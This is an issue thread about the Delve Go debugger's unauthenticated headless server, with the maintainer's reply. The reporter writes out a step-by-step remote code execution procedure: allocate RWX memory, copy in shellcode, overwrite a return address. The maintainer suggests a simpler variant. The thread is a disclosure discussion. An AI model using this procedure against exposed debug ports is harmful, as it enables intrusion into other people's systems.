Client side authentication for headless server

[GeekOnlineCode]

trafficstars

When you use dlv for remote debugging, it will potentially cause arbitrary remote code execution. dlv --listen=0.0.0.0:6666 --headless=true --api-version=2 debug demo.go dlv connect remote_ip:port Because there is no permission verification, as long as the port is opened, everyone can access remotely.

Remote code execution can be exploited through the following steps

1. A section of writable and executable memory space can be allocated in the debugged process through the following command.Then you will get addr_mmap call syscall.mmap(0, 256, syscall.PROT_WRITE|syscall.PROT_EXEC|syscall.PROT_READ, syscall.MAP_ANON|syscall.MAP_PRIVATE, -1, 0)
2. Then you can write the shellcode to a temporary storage space for i in range(len(shellcode)): call syscall.envs[0][i] = shellcode[i]
3. Then call the following command to get the storage address of the shellcode.Then you will get addr_shellcode call &syscall.envs[0][0]
4. Then use the memmove command to copy the shellcode to the allocated mmap space. call reflect.memmove(unsafe.Pointer(addr_mmap), unsafe.Pointer(addr_shellcode), len_shellcode)
5. Finally, you only need to modify the return address pointed to by any RSP register to perform arbitrary remote command execution. call reflect.memmove(unsafe.Pointer(addr_rsp), unsafe.Pointer(addr_shellcode), 8)

[aarzilli]

Neither gdbserver nor lldb-server have client authentication, why do you think Delve should do differently? By default we only listen on localhost and only accept connections from the same user (where possible), so this needs to be specifically set up by the user. There are also ways to add authentication without changing Delve, for example by using ssh.

I'm not opposed to someone, with a proven track record in these matter, adding client authentication, but I'm also not going to do it.

BTW your exploit is far too complicated, you can just write the injected code into some rarely called function and then change the return address to it, there's no need to do any of those calls.

[aarzilli]

Closing, duplicate of #861

[GeekOnlineCode]

Neither gdbserver nor lldb-server have client authentication, why do you think Delve should do differently? By default we only listen on localhost and only accept connections from the same user (where possible), so this needs to be specifically set up by the user. There are also ways to add authentication without changing Delve, for example by using ssh.

I'm not opposed to someone, with a proven track record in these matter, adding client authentication, but I'm also not going to do it.

BTW your exploit is far too complicated, you can just write the injected code into some rarely called function and then change the return address to it, there's no need to do any of those calls.

Recently, I found the JDWP(Java Debug Wire Protocol) was used to invade host and mining(https://www.alibabacloud.com/blog/analysis-of-jdwpminer-mining-trojan-remote-debugging-with-java-causes-hidden-risks_598002). And someone also use ADB(Android Debug Bridge) writting malicious software called ADB.Miner(https://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading-en/). The Delve was widely used in Golang Debug,Docker、K8S and a large number of applications are written in the Go, so I worry about someone using Delve for illegal invasion. My exploit is for all Golang programs.The delve didn't provide direct write function that can modify any memory.Only two system functions can be called that are reflect.memmove and syscall.mmap.So I use the two functions writting a exploit.